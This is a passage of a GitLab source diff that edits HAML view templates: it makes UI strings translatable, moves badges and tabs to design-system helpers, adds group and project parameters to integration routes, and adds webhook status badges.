+ = _('Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential.')
.form-group.form-check
= f.check_box :expire_access_tokens, class: 'form-check-input'
= f.label :expire_access_tokens, class: 'label-bold form-check-label'
%span.form-text.text-muted
- = _('Access tokens expire after 2 hours. A refresh token may be used at any time to generate a new access token. Non-expiring access tokens are deprecated. Clear this setting to enable backward compatibility.')
+ = _('Enable access tokens to expire after 2 hours. If disabled, tokens do not expire.')
+ = link_to _('Learn more.'), help_page_path('integration/oauth_provider.md', anchor: 'expiring-access-tokens'), target: '_blank', rel: 'noopener noreferrer'
.form-group
= f.label :scopes, class: 'label-bold'
diff --git a/app/views/shared/doorkeeper/applications/_index.html.haml b/app/views/shared/doorkeeper/applications/_index.html.haml
index 8ccb4bcdbe0..0359c28794c 100644
--- a/app/views/shared/doorkeeper/applications/_index.html.haml
+++ b/app/views/shared/doorkeeper/applications/_index.html.haml
@@ -9,7 +9,7 @@
- if oauth_authorized_applications_enabled
= _("Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account.")
- else
- = _("Manage applications that can use GitLab as an OAuth provider.")
+ = _("Manage applications that use GitLab as an OAuth provider.")
- else
= _("Manage applications that you've authorized to use your account.")
.col-lg-8
diff --git a/app/views/shared/form_elements/_description.html.haml b/app/views/shared/form_elements/_description.html.haml
index f8942dddfb4..94818c13f76 100644
--- a/app/views/shared/form_elements/_description.html.haml
+++ b/app/views/shared/form_elements/_description.html.haml
@@ -7,7 +7,7 @@
- preview_url = preview_markdown_path(project, target_type: model.class.name)
.form-group.row.detail-page-description
- = form.label :description, 'Description', class: 'col-form-label col-sm-2'
+ = form.label :description, _('Description'), class: 'col-form-label col-sm-2'
.col-sm-10
- if model.is_a?(MergeRequest)
= hidden_field_tag :merge_request_diff_head_sha, model.diff_head_sha
diff --git a/app/views/shared/integrations/_form.html.haml b/app/views/shared/integrations/_form.html.haml
index 35f302a28a6..89c127408e1 100644
--- a/app/views/shared/integrations/_form.html.haml
+++ b/app/views/shared/integrations/_form.html.haml
@@ -1,4 +1,4 @@
- integration = local_assigns.fetch(:integration)
-= form_for integration, as: :service, url: scoped_integration_path(integration), method: :put, html: { class: 'gl-show-field-errors integration-settings-form js-integration-settings-form', data: { 'test-url' => scoped_test_integration_path(integration) } } do |form|
+= form_for integration, as: :service, url: scoped_integration_path(integration, group: @group), method: :put, html: { class: 'gl-show-field-errors integration-settings-form js-integration-settings-form', data: { 'test-url' => scoped_test_integration_path(integration, group: @group) } } do |form|
= render 'shared/service_settings', form: form, integration: integration
diff --git a/app/views/shared/integrations/_index.html.haml b/app/views/shared/integrations/_index.html.haml
index 39365280e71..872fc90f6db 100644
--- a/app/views/shared/integrations/_index.html.haml
+++ b/app/views/shared/integrations/_index.html.haml
@@ -1 +1 @@
-.js-integrations-list{ data: integration_list_data(integrations) }
+.js-integrations-list{ data: integration_list_data(integrations, group: @group, project: @project) }
diff --git a/app/views/shared/integrations/_tabs.html.haml b/app/views/shared/integrations/_tabs.html.haml
index d6ca0bd7d1e..781db59592e 100644
--- a/app/views/shared/integrations/_tabs.html.haml
+++ b/app/views/shared/integrations/_tabs.html.haml
@@ -2,7 +2,7 @@
.tabs.gl-tabs
%div
= gl_tabs_nav({ class: 'gl-mb-5' }) do
- = gl_tab_link_to _('Settings'), scoped_edit_integration_path(integration)
+ = gl_tab_link_to _('Settings'), scoped_edit_integration_path(integration, project: @project, group: @group)
= gl_tab_link_to s_('Integrations|Projects using custom settings'), scoped_overrides_integration_path(integration)
= yield
diff --git a/app/views/shared/integrations/edit.html.haml b/app/views/shared/integrations/edit.html.haml
index 02cb94e3555..acb0c7ee52e 100644
--- a/app/views/shared/integrations/edit.html.haml
+++ b/app/views/shared/integrations/edit.html.haml
@@ -1,4 +1,4 @@
-- add_to_breadcrumbs _('Integrations'), scoped_integrations_path
+- add_to_breadcrumbs _('Integrations'), scoped_integrations_path(project: @project, group: @group)
- breadcrumb_title @integration.title
- page_title @integration.title, _('Integrations')
- @content_class = 'limit-container-width' unless fluid_layout
diff --git a/app/views/shared/integrations/overrides.html.haml b/app/views/shared/integrations/overrides.html.haml
index dc87fae704c..b8585fdef1f 100644
--- a/app/views/shared/integrations/overrides.html.haml
+++ b/app/views/shared/integrations/overrides.html.haml
@@ -1,4 +1,4 @@
-- add_to_breadcrumbs _('Integrations'), scoped_integrations_path
+- add_to_breadcrumbs _('Integrations'), scoped_integrations_path(project: @project, group: @group)
- breadcrumb_title @integration.title
- page_title @integration.title, _('Integrations')
- @content_class = 'limit-container-width' unless fluid_layout
diff --git a/app/views/shared/issuable/_form.html.haml b/app/views/shared/issuable/_form.html.haml
index cb03bd4c473..4024c5b77f6 100644
--- a/app/views/shared/issuable/_form.html.haml
+++ b/app/views/shared/issuable/_form.html.haml
@@ -64,7 +64,7 @@
for this project.
- if issuable.new_record?
- = form.submit "Create #{issuable.class.model_name.human.downcase}", class: 'gl-button btn btn-confirm gl-mr-2', data: { qa_selector: 'issuable_create_button' }
+ = form.submit "#{_('Create')} #{issuable.class.model_name.human.downcase}", class: 'gl-button btn btn-confirm gl-mr-2', data: { qa_selector: 'issuable_create_button' }
- else
= form.submit _('Save changes'), class: 'gl-button btn btn-confirm gl-mr-2'
diff --git a/app/views/shared/issuable/_milestone_dropdown.html.haml b/app/views/shared/issuable/_milestone_dropdown.html.haml
index f58156b7c08..dc713337747 100644
--- a/app/views/shared/issuable/_milestone_dropdown.html.haml
+++ b/app/views/shared/issuable/_milestone_dropdown.html.haml
@@ -4,20 +4,20 @@
- selected = local_assigns.fetch(:selected, nil)
- selected_text = selected.try(:title) || params[:milestone_title]
-- dropdown_title = local_assigns.fetch(:dropdown_title, "Filter by milestone")
+- dropdown_title = local_assigns.fetch(:dropdown_title, _('Filter by milestone'))
- if selected.present? || params[:milestone_title].present?
= hidden_field_tag(name, name == :milestone_title ? selected_text : selected.id)
= dropdown_tag(milestone_dropdown_label(selected_text), options: { title: dropdown_title, toggle_class: "qa-issuable-milestone-dropdown js-milestone-select js-filter-submit #{extra_class}", filter: true, dropdown_class: "qa-issuable-dropdown-menu-milestone dropdown-menu-selectable dropdown-menu-milestone",
- placeholder: "Search milestones", footer_content: project.present?, data: { show_no: true, show_menu_above: show_menu_above, show_any: show_any, show_upcoming: show_upcoming, show_started: show_started, field_name: name, selected: selected_text, project_id: project.try(:id), default_label: "Milestone" } }) do
+ placeholder: _('Search milestones'), footer_content: project.present?, data: { show_no: true, show_menu_above: show_menu_above, show_any: show_any, show_upcoming: show_upcoming, show_started: show_started, field_name: name, selected: selected_text, project_id: project.try(:id), default_label: _('Milestone') } }) do
- if project
%ul.dropdown-footer-list
- if can? current_user, :admin_milestone, project
%li
- = link_to new_project_milestone_path(project), title: "New Milestone" do
- Create new
+ = link_to new_project_milestone_path(project), title: _('New Milestone') do
+ = _('Create new')
%li
= link_to project_milestones_path(project) do
- if can? current_user, :admin_milestone, project
- Manage milestones
+ = _('Manage milestones')
- else
- View milestones
+ = _('View milestones')
diff --git a/app/views/shared/issuable/_sidebar.html.haml b/app/views/shared/issuable/_sidebar.html.haml
index 62539bfeffd..9a703b9d355 100644
--- a/app/views/shared/issuable/_sidebar.html.haml
+++ b/app/views/shared/issuable/_sidebar.html.haml
@@ -29,13 +29,17 @@
= render_if_exists 'shared/issuable/sidebar_item_epic', issuable_sidebar: issuable_sidebar, group_path: @project.group.full_path, project_path: issuable_sidebar[:project_full_path], issue_iid: issuable_sidebar[:iid], issuable_type: issuable_type
- if issuable_sidebar[:supports_milestone]
- .block.milestone{ :class => ("gl-border-b-0!" if in_group_context_with_iterations), data: { qa_selector: 'milestone_block' } }
+ .block.milestone{ :class => ("gl-border-b-0!" if in_group_context_with_iterations), data: { qa_selector: 'milestone_block', testid: 'sidebar-milestones' } }
.js-milestone-select{ data: { can_edit: can_edit_issuable.to_s, project_path: issuable_sidebar[:project_full_path], issue_iid: issuable_sidebar[:iid] } }
- if in_group_context_with_iterations
.block{ class: 'gl-pt-0! gl-collapse-empty', data: { qa_selector: 'iteration_container', testid: 'iteration_container' } }<
= render_if_exists 'shared/issuable/iteration_select', can_edit: can_edit_issuable.to_s, group_path: @project.group.full_path, project_path: issuable_sidebar[:project_full_path], issue_iid: issuable_sidebar[:iid], issuable_type: issuable_type
+ - if @show_crm_contacts
+ .block.contact
+ #js-issue-crm-contacts{ data: { issue_id: issuable_sidebar[:id] } }
+
- if issuable_sidebar[:supports_time_tracking]
#issuable-time-tracker.block
// Fallback while content is loading
diff --git a/app/views/shared/issuable/form/_default_templates.html.haml b/app/views/shared/issuable/form/_default_templates.html.haml
index 3dc244677e2..50f30e58b35 100644
--- a/app/views/shared/issuable/form/_default_templates.html.haml
+++ b/app/views/shared/issuable/form/_default_templates.html.haml
@@ -1,4 +1,5 @@
%p.form-text.text-muted
- Add
- = link_to 'description templates', help_page_path('user/project/description_templates')
- to help your contributors communicate effectively!
+ - template_link_url = help_page_path('user/project/description_templates')
+ - template_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: template_link_url }
+ = s_('Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!').html_safe % { link_start: template_link_start, link_end: '</a>'.html_safe }
+
diff --git a/app/views/shared/issuable/form/_metadata.html.haml b/app/views/shared/issuable/form/_metadata.html.haml
index 2f05d272ca3..9e42c528a11 100644
--- a/app/views/shared/issuable/form/_metadata.html.haml
+++ b/app/views/shared/issuable/form/_metadata.html.haml
@@ -10,7 +10,7 @@
.form-check
= form.check_box :confidential, class: 'form-check-input'
= form.label :confidential, class: 'form-check-label' do
- This issue is confidential and should only be visible to team members with at least Reporter access.
+ #{_('This issue is confidential and should only be visible to team members with at least Reporter access.')}
- if can?(current_user, :"set_#{issuable.to_ability_name}_metadata", issuable)
%hr
@@ -27,13 +27,13 @@
- if issuable.supports_milestone?
.form-group.row.issue-milestone
- = form.label :milestone_id, "Milestone", class: "col-form-label #{has_due_date ? "col-md-2 col-lg-4" : "col-sm-2"}"
+ = form.label :milestone_id, _('Milestone'), class: "col-form-label #{has_due_date ? "col-md-2 col-lg-4" : "col-sm-2"}"
.col-sm-10{ class: ("col-md-8" if has_due_date) }
.issuable-form-select-holder
- = render "shared/issuable/milestone_dropdown", selected: issuable.milestone, name: "#{issuable.class.model_name.param_key}[milestone_id]", show_any: false, show_upcoming: false, show_started: false, extra_class: "qa-issuable-milestone-dropdown js-issuable-form-dropdown js-dropdown-keep-input", dropdown_title: "Select milestone"
+ = render "shared/issuable/milestone_dropdown", selected: issuable.milestone, name: "#{issuable.class.model_name.param_key}[milestone_id]", show_any: false, show_upcoming: false, show_started: false, extra_class: "qa-issuable-milestone-dropdown js-issuable-form-dropdown js-dropdown-keep-input", dropdown_title: _('Select milestone')
.form-group.row
- = form.label :label_ids, "Labels", class: "col-form-label #{has_due_date ? "col-md-2 col-lg-4" : "col-sm-2"}"
+ = form.label :label_ids, _('Labels'), class: "col-form-label #{has_due_date ? "col-md-2 col-lg-4" : "col-sm-2"}"
= form.hidden_field :label_ids, multiple: true, value: ''
.col-sm-10{ class: "#{"col-md-8" if has_due_date}" }
.issuable-form-select-holder
@@ -45,7 +45,7 @@
.col-lg-6
= render_if_exists "shared/issuable/form/weight", issuable: issuable, form: form
.form-group.row
- = form.label :due_date, "Due date", class: "col-form-label col-md-2 col-lg-4"
+ = form.label :due_date, _('Due date'), class: "col-form-label col-md-2 col-lg-4"
.col-8
.issuable-form-select-holder
- = form.text_field :due_date, id: "issuable-due-date", class: "datepicker form-control", placeholder: "Select due date", autocomplete: 'off'
+ = form.text_field :due_date, id: "issuable-due-date", class: "datepicker form-control", placeholder: _('Select due date'), autocomplete: 'off'
diff --git a/app/views/shared/issuable/form/_metadata_issuable_assignee.html.haml b/app/views/shared/issuable/form/_metadata_issuable_assignee.html.haml
index b437ee1ec5f..781ee8b5f80 100644
--- a/app/views/shared/issuable/form/_metadata_issuable_assignee.html.haml
+++ b/app/views/shared/issuable/form/_metadata_issuable_assignee.html.haml
@@ -8,4 +8,4 @@
= hidden_field_tag "#{issuable.to_ability_name}[assignee_ids][]", 0, id: nil, data: { meta: '' }
= dropdown_tag(users_dropdown_label(issuable.assignees), options: assignees_dropdown_options(issuable.to_ability_name))
- = link_to 'Assign to me', '#', class: "assign-to-me-link qa-assign-to-me-link #{'hide' if issuable.assignees.include?(current_user)}"
+ = link_to _('Assign to me'), '#', class: "assign-to-me-link qa-assign-to-me-link #{'hide' if issuable.assignees.include?(current_user)}"
diff --git a/app/views/shared/issuable/form/_title.html.haml b/app/views/shared/issuable/form/_title.html.haml
index 561ca0afd60..c0a6322eb1b 100644
--- a/app/views/shared/issuable/form/_title.html.haml
+++ b/app/views/shared/issuable/form/_title.html.haml
@@ -5,7 +5,7 @@
- div_class = no_issuable_templates ? 'col-sm-10' : 'col-sm-7 col-lg-8'
- toggle_wip_link_start = '<a href="" class="js-toggle-wip">'
- toggle_wip_link_end = '</a>'
-- add_wip_text = (_('%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it\'s ready.') % { link_start: toggle_wip_link_start, link_end: toggle_wip_link_end, draft_snippet: '<code>Draft:</code>'.html_safe } ).html_safe
+- add_wip_text = (_('%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it\'s ready.') % { link_start: toggle_wip_link_start, link_end: toggle_wip_link_end, draft_snippet: '<code>Draft:</code>'.html_safe } ).html_safe
- remove_wip_text = (_('%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it\'s ready.' ) % { link_start: toggle_wip_link_start, link_end: toggle_wip_link_end, draft_snippet: '<code>Draft</code>'.html_safe } ).html_safe
%div{ class: div_class }
diff --git a/app/views/shared/issuable/form/_type_selector.html.haml b/app/views/shared/issuable/form/_type_selector.html.haml
index ae0fe54de4f..0d86aa8c8e7 100644
--- a/app/views/shared/issuable/form/_type_selector.html.haml
+++ b/app/views/shared/issuable/form/_type_selector.html.haml
@@ -1,7 +1,7 @@
- return unless issuable.supports_issue_type? && can?(current_user, :create_issue, @project)
.form-group.row.gl-mb-0
- = form.label :type, 'Type', class: 'col-form-label col-sm-2'
+ = form.label :type, _('Type'), class: 'col-form-label col-sm-2'
.col-sm-10
.gl-display-flex.gl-align-items-center
.issuable-form-select-holder.selectbox.form-group.gl-mb-0
diff --git a/app/views/shared/members/_filter_2fa_dropdown.html.haml b/app/views/shared/members/_filter_2fa_dropdown.html.haml
deleted file mode 100644
index 8187a9bde15..00000000000
--- a/app/views/shared/members/_filter_2fa_dropdown.html.haml
+++ /dev/null
@@ -1,11 +0,0 @@
-- filter = params[:two_factor] || 'everyone'
-- filter_options = { 'everyone' => _('Everyone'), 'enabled' => _('Enabled'), 'disabled' => _('Disabled') }
-.dropdown.inline.member-filter-2fa-dropdown{ data: { testid: 'member-filter-2fa-dropdown' } }
- = dropdown_toggle(filter_options[filter], { toggle: 'dropdown', testid: 'dropdown-toggle' })
- %ul.dropdown-menu.dropdown-menu-align-right.dropdown-menu-selectable
- %li.dropdown-header
- = _("Filter by two-factor authentication")
- - filter_options.each do |value, title|
- %li
- = link_to filter_group_project_member_path(two_factor: value), class: ("is-active" if filter == value) do
- = title
diff --git a/app/views/shared/members/_requests.html.haml b/app/views/shared/members/_requests.html.haml
index 8b0a85656dc..ec08dde37bf 100644
--- a/app/views/shared/members/_requests.html.haml
+++ b/app/views/shared/members/_requests.html.haml
@@ -9,7 +9,7 @@
.card-header
= _("Users requesting access to")
%strong= membership_source.name
- %span.badge.badge-pill= requesters.size
+ = gl_badge_tag requesters.size
= render 'shared/members/manage_access_button', path: membership_source.is_a?(Project) ? project_project_members_path(@project, tab: 'access_requests') : group_group_members_path(@group, tab: 'access_requests')
%ul.content-list.members-list
= render partial: 'shared/members/member',
diff --git a/app/views/shared/milestones/_milestone.html.haml b/app/views/shared/milestones/_milestone.html.haml
index 44934a12559..4e06b7902bd 100644
--- a/app/views/shared/milestones/_milestone.html.haml
+++ b/app/views/shared/milestones/_milestone.html.haml
@@ -33,11 +33,9 @@
%div
= render('shared/milestone_expired', milestone: milestone)
- if milestone.group_milestone?
- .gl-badge.badge-info.badge-pill
- = milestone.group.full_name
+ = gl_badge_tag milestone.group.full_name, variant: :info
- if milestone.project_milestone?
- .gl-badge.badge-muted.badge-pill
- = milestone.project.full_name
+ = gl_badge_tag milestone.project.full_name, variant: :muted
.col-sm-4.milestone-progress
= milestone_progress_bar(milestone)
diff --git a/app/views/shared/milestones/_sidebar.html.haml b/app/views/shared/milestones/_sidebar.html.haml
index c66ba5ba2e1..a1e94172ec3 100644
--- a/app/views/shared/milestones/_sidebar.html.haml
+++ b/app/views/shared/milestones/_sidebar.html.haml
@@ -79,7 +79,7 @@
%span= milestone.issues_visible_to_user(current_user).count
.title.hide-collapsed
= s_('MilestoneSidebar|Issues')
- %span.badge.badge-muted.badge-pill.gl-badge.sm= milestone.issues_visible_to_user(current_user).count
+ = gl_badge_tag milestone.issues_visible_to_user(current_user).count, variant: :muted, size: :sm
- if show_new_issue_link?(project)
= link_to new_project_issue_path(project, issue: { milestone_id: milestone.id }), class: "float-right", title: s_('MilestoneSidebar|New Issue') do
= s_('MilestoneSidebar|New issue')
@@ -111,7 +111,7 @@
%span= milestone.merge_requests.count
.title.hide-collapsed
= s_('MilestoneSidebar|Merge requests')
- %span.badge.badge-muted.badge-pill.gl-badge.sm= milestone.merge_requests.count
+ = gl_badge_tag milestone.merge_requests.count, variant: :muted, size: :sm
.value.hide-collapsed.bold
- if !project || can?(current_user, :read_merge_request, project)
%span.milestone-stat
diff --git a/app/views/shared/milestones/_tabs.html.haml b/app/views/shared/milestones/_tabs.html.haml
index 3524a1b17ea..8c49977fe82 100644
--- a/app/views/shared/milestones/_tabs.html.haml
+++ b/app/views/shared/milestones/_tabs.html.haml
@@ -3,24 +3,20 @@
.scrolling-tabs-container.inner-page-scroll-tabs.is-smaller
.fade-left= sprite_icon('chevron-lg-left', size: 12)
.fade-right= sprite_icon('chevron-lg-right', size: 12)
- %ul.nav-links.scrolling-tabs.js-milestone-tabs.nav.nav-tabs
- %li.nav-item
- = link_to '#tab-issues', class: 'nav-link active', data: { toggle: 'tab', endpoint: milestone_tab_path(milestone, 'issues', show_project_name: show_project_name) } do
- = _('Issues')
- %span.badge.badge-pill= milestone.issues_visible_to_user(current_user).size
+ = gl_tabs_nav({ class: %w[scrolling-tabs js-milestone-tabs] }) do
+ = gl_tab_link_to '#tab-issues', item_active: true, data: { endpoint: milestone_tab_path(milestone, 'issues', show_project_name: show_project_name) } do
+ = _('Issues')
+ = gl_tab_counter_badge milestone.issues_visible_to_user(current_user).size
- if milestone.merge_requests_enabled?
- %li.nav-item
- = link_to '#tab-merge-requests', class: 'nav-link', data: { toggle: 'tab', endpoint: milestone_tab_path(milestone, 'merge_requests', show_project_name: show_project_name) } do
- = _('Merge requests')
- %span.badge.badge-pill= milestone.merge_requests_visible_to_user(current_user).size
- %li.nav-item
- = link_to '#tab-participants', class: 'nav-link', data: { toggle: 'tab', endpoint: milestone_tab_path(milestone, 'participants') } do
- = _('Participants')
- %span.badge.badge-pill= milestone.issue_participants_visible_by_user(current_user).count
- %li.nav-item
- = link_to '#tab-labels', class: 'nav-link', data: { toggle: 'tab', endpoint: milestone_tab_path(milestone, 'labels') } do
- = _('Labels')
- %span.badge.badge-pill= milestone.issue_labels_visible_by_user(current_user).count
+ = gl_tab_link_to '#tab-merge-requests', data: { endpoint: milestone_tab_path(milestone, 'merge_requests', show_project_name: show_project_name) } do
+ = _('Merge requests')
+ = gl_tab_counter_badge milestone.merge_requests_visible_to_user(current_user).size
+ = gl_tab_link_to '#tab-participants', data: { endpoint: milestone_tab_path(milestone, 'participants') } do
+ = _('Participants')
+ = gl_tab_counter_badge milestone.issue_participants_visible_by_user(current_user).count
+ = gl_tab_link_to '#tab-labels', data: { endpoint: milestone_tab_path(milestone, 'labels') } do
+ = _('Labels')
+ = gl_tab_counter_badge milestone.issue_labels_visible_by_user(current_user).count
.tab-content.milestone-content
.tab-pane.active#tab-issues
diff --git a/app/views/shared/nav/_scope_menu.html.haml b/app/views/shared/nav/_scope_menu.html.haml
index 1a7089fb570..4e570086bf8 100644
--- a/app/views/shared/nav/_scope_menu.html.haml
+++ b/app/views/shared/nav/_scope_menu.html.haml
@@ -1,5 +1,5 @@
= nav_link(**scope_menu.active_routes, html_options: scope_menu.nav_link_html_options) do
- = link_to scope_menu.link, **scope_menu.container_html_options, data: { qa_selector: 'sidebar_menu_link', qa_menu_item: scope_qa_menu_item(scope_menu.container) } do
+ = link_to scope_menu.link, **scope_menu.link_html_options, data: { qa_selector: 'sidebar_menu_link', qa_menu_item: scope_qa_menu_item(scope_menu.container) } do
%span{ class: scope_avatar_classes(scope_menu.container) }
= source_icon(scope_menu.container, alt: scope_menu.title, class: ['avatar', 'avatar-tile', 's32'], width: 32, height: 32)
%span.sidebar-context-title
diff --git a/app/views/shared/nav/_sidebar_hidden_menu_item.html.haml b/app/views/shared/nav/_sidebar_hidden_menu_item.html.haml
index 953f7a8ae60..d0ae5e99707 100644
--- a/app/views/shared/nav/_sidebar_hidden_menu_item.html.haml
+++ b/app/views/shared/nav/_sidebar_hidden_menu_item.html.haml
@@ -1,3 +1,3 @@
%li.hidden
- = link_to sidebar_hidden_menu_item.link, **sidebar_hidden_menu_item.container_html_options do
+ = link_to sidebar_hidden_menu_item.link, **sidebar_hidden_menu_item.link_html_options do
= sidebar_hidden_menu_item.title
diff --git a/app/views/shared/nav/_sidebar_menu.html.haml b/app/views/shared/nav/_sidebar_menu.html.haml
index 3f71368aff3..4c4ceb9ea70 100644
--- a/app/views/shared/nav/_sidebar_menu.html.haml
+++ b/app/views/shared/nav/_sidebar_menu.html.haml
@@ -2,7 +2,7 @@
- if sidebar_menu.menu_with_partial?
= render_if_exists sidebar_menu.menu_partial, **sidebar_menu.menu_partial_options
- else
- = link_to sidebar_menu.link, **sidebar_menu.container_html_options, data: { qa_selector: 'sidebar_menu_link', qa_menu_item: sidebar_menu.title } do
+ = link_to sidebar_menu.link, **sidebar_menu.link_html_options, data: { qa_selector: 'sidebar_menu_link', qa_menu_item: sidebar_menu.title } do
- if sidebar_menu.icon_or_image?
%span.nav-icon-container
- if sidebar_menu.image_path
diff --git a/app/views/shared/nav/_sidebar_menu_item.html.haml b/app/views/shared/nav/_sidebar_menu_item.html.haml
index 674ce593ee2..5452cd486da 100644
--- a/app/views/shared/nav/_sidebar_menu_item.html.haml
+++ b/app/views/shared/nav/_sidebar_menu_item.html.haml
@@ -1,5 +1,5 @@
= nav_link(**sidebar_menu_item.active_routes, html_options: sidebar_menu_item.nav_link_html_options) do
- = link_to sidebar_menu_item.link, **sidebar_menu_item.container_html_options, data: { qa_selector: 'sidebar_menu_item_link', qa_menu_item: sidebar_menu_item.title } do
+ = link_to sidebar_menu_item.link, **sidebar_menu_item.link_html_options, data: { qa_selector: 'sidebar_menu_item_link', qa_menu_item: sidebar_menu_item.title } do
%span
= sidebar_menu_item.title
- if sidebar_menu_item.sprite_icon
diff --git a/app/views/shared/projects/_archived.html.haml b/app/views/shared/projects/_archived.html.haml
index f24fe3a8b89..018bf137cc6 100644
--- a/app/views/shared/projects/_archived.html.haml
+++ b/app/views/shared/projects/_archived.html.haml
@@ -1,3 +1,2 @@
- if project.archived
- %span.d-flex.badge-pill.gl-badge.badge-warning.gl-ml-3
- = _('archived')
+ = gl_badge_tag _('archived'), { variant: :warning }, { class: 'gl-display-flex gl-ml-3' }
diff --git a/app/views/shared/projects/_project.html.haml b/app/views/shared/projects/_project.html.haml
index 2136d287f53..ae264f2188f 100644
--- a/app/views/shared/projects/_project.html.haml
+++ b/app/views/shared/projects/_project.html.haml
@@ -31,7 +31,7 @@
.flex-wrapper
.d-flex.align-items-center.flex-wrap.project-title
%h2.d-flex.gl-mt-3
- = link_to project_path(project), class: 'text-plain' do
+ = link_to project_path(project), class: 'text-plain js-prefetch-document' do
%span.project-full-name.gl-mr-3><
%span.namespace-name
- if project.namespace && !skip_namespace
diff --git a/app/views/shared/projects/_topics.html.haml b/app/views/shared/projects/_topics.html.haml
index e303f05c5df..b7df369327c 100644
--- a/app/views/shared/projects/_topics.html.haml
+++ b/app/views/shared/projects/_topics.html.haml
@@ -1,6 +1,5 @@
- cache_enabled = false unless local_assigns[:cache_enabled] == true
- max_project_topic_length = 15
-- project_topics_classes = "badge badge-pill badge-secondary gl-mr-2"
- if project.topics.present?
= cache_if(cache_enabled, [project, :topic_list], expires_in: 1.day) do
@@ -10,11 +9,11 @@
- project.topics_to_show.each do |topic|
- explore_project_topic_path = topic_explore_projects_path(topic_name: topic)
- if topic.length > max_project_topic_length
- %a{ class: "#{ project_topics_classes } str-truncated-30 has-tooltip", data: { container: "body" }, title: topic, href: explore_project_topic_path, itemprop: 'keywords' }
- = truncate(topic, length: max_project_topic_length)
+ %a.gl-mr-3.has-tooltip{ data: { container: "body" }, title: topic, href: explore_project_topic_path, itemprop: 'keywords' }
+ = gl_badge_tag truncate(topic, length: max_project_topic_length)
- else
- %a{ class: project_topics_classes, href: explore_project_topic_path, itemprop: 'keywords' }
- = topic
+ %a.gl-mr-3{ href: explore_project_topic_path, itemprop: 'keywords' }
+ = gl_badge_tag topic
- if project.has_extra_topics?
- title = _('More topics')
@@ -23,10 +22,10 @@
- project.topics_not_shown.each do |topic|
- explore_project_topic_path = topic_explore_projects_path(topic_name: topic)
- if topic.length > max_project_topic_length
- %a{ class: "#{ project_topics_classes } gl-mb-3 str-truncated has-tooltip", data: { container: "body" }, title: topic, href: explore_project_topic_path, itemprop: 'keywords' }
- = truncate(topic, length: max_project_topic_length)
+ %a.gl-mr-3.gl-mb-3.has-tooltip{ data: { container: "body" }, title: topic, href: explore_project_topic_path, itemprop: 'keywords' }
+ = gl_badge_tag truncate(topic, length: max_project_topic_length)
- else
- %a{ class: "#{ project_topics_classes } gl-mb-3", href: explore_project_topic_path, itemprop: 'keywords' }
- = topic
+ %a.gl-mr-3.gl-mb-3{ href: explore_project_topic_path, itemprop: 'keywords' }
+ = gl_badge_tag topic
.text-nowrap{ role: 'button', tabindex: 0, data: { toggle: 'popover', html: 'true', placement: 'top', title: title, content: content } }
= _("+ %{count} more") % { count: project.count_of_extra_topics_not_shown }
diff --git a/app/views/shared/runners/_runner_description.html.haml b/app/views/shared/runners/_runner_description.html.haml
index 6a65145d42b..436dbfd2b49 100644
--- a/app/views/shared/runners/_runner_description.html.haml
+++ b/app/views/shared/runners/_runner_description.html.haml
@@ -5,8 +5,8 @@
%div
%ul
%li
- %span.badge.badge-pill.gl-badge.sm.badge-success active
+ = gl_badge_tag s_("Runners|active"), variant: :success, size: :sm
= _('- Available to run jobs.')
%li
- %span.badge.badge-pill.gl-badge.sm.badge-danger paused
+ = gl_badge_tag s_("Runners|paused"), variant: :danger, size: :sm
= _('- Not available to run jobs.')
diff --git a/app/views/shared/runners/_runner_details.html.haml b/app/views/shared/runners/_runner_details.html.haml
index a7b2947057d..7a35b1cec0a 100644
--- a/app/views/shared/runners/_runner_details.html.haml
+++ b/app/views/shared/runners/_runner_details.html.haml
@@ -28,8 +28,7 @@
%td= s_('Runners|Tags')
%td
- runner.tag_list.sort.each do |tag|
- %span.badge.badge-primary
- = tag
+ = gl_badge_tag tag, variant: :info
%tr
%td= s_('Runners|Name')
%td= runner.name
diff --git a/app/views/shared/runners/_runner_type_badge.html.haml b/app/views/shared/runners/_runner_type_badge.html.haml
index e0318006f09..c6a18c804da 100644
--- a/app/views/shared/runners/_runner_type_badge.html.haml
+++ b/app/views/shared/runners/_runner_type_badge.html.haml
@@ -1,10 +1,7 @@
- if runner.instance_type?
- %span.badge.badge-pill.gl-badge.badge-success
- = s_('Runners|shared')
+ = gl_badge_tag s_('Runners|shared'), variant: :success
- elsif runner.group_type?
- %span.badge.badge-pill.gl-badge.badge-success
- = s_('Runners|group')
+ = gl_badge_tag s_('Runners|group'), variant: :success
- else
- %span.badge.badge-pill.gl-badge.badge-info
- = s_('Runners|specific')
+ = gl_badge_tag s_('Runners|specific'), variant: :info
diff --git a/app/views/shared/snippets/_embed.html.haml b/app/views/shared/snippets/_embed.html.haml
index b5abd00b8fd..5744fc9fba6 100644
--- a/app/views/shared/snippets/_embed.html.haml
+++ b/app/views/shared/snippets/_embed.html.haml
@@ -17,5 +17,5 @@
= embedded_raw_snippet_button(@snippet, blob)
= embedded_snippet_download_button(@snippet, blob)
- %article.file-holder.snippet-file-content
+ %figure.file-holder.snippet-file-content{ "aria-label" => _('Code snippet') }
= render 'projects/blob/viewer', viewer: blob.simple_viewer, load_async: false, external_embed: true
diff --git a/app/views/shared/web_hooks/_hook.html.haml b/app/views/shared/web_hooks/_hook.html.haml
index fd124c2967d..45baa7e2184 100644
--- a/app/views/shared/web_hooks/_hook.html.haml
+++ b/app/views/shared/web_hooks/_hook.html.haml
@@ -1,7 +1,15 @@
%li
.row
.col-md-8.col-lg-7
- %strong.light-header= hook.url
+ %strong.light-header
+ = hook.url
+ - if hook.rate_limited?
+ %span.gl-badge.badge-danger.badge-pill.sm= _('Disabled')
+ - elsif hook.permanently_disabled?
+ %span.gl-badge.badge-danger.badge-pill.sm= s_('Webhooks|Failed to connect')
+ - elsif hook.temporarily_disabled?
+ %span.gl-badge.badge-warning.badge-pill.sm= s_('Webhooks|Fails to connect')
+
%div
- hook.class.triggers.each_value do |trigger|
- if hook.public_send(trigger)
diff --git a/app/views/shared/web_hooks/_hook_errors.html.haml b/app/views/shared/web_hooks/_hook_errors.html.haml
new file mode 100644
index 00000000000..23010b8349c
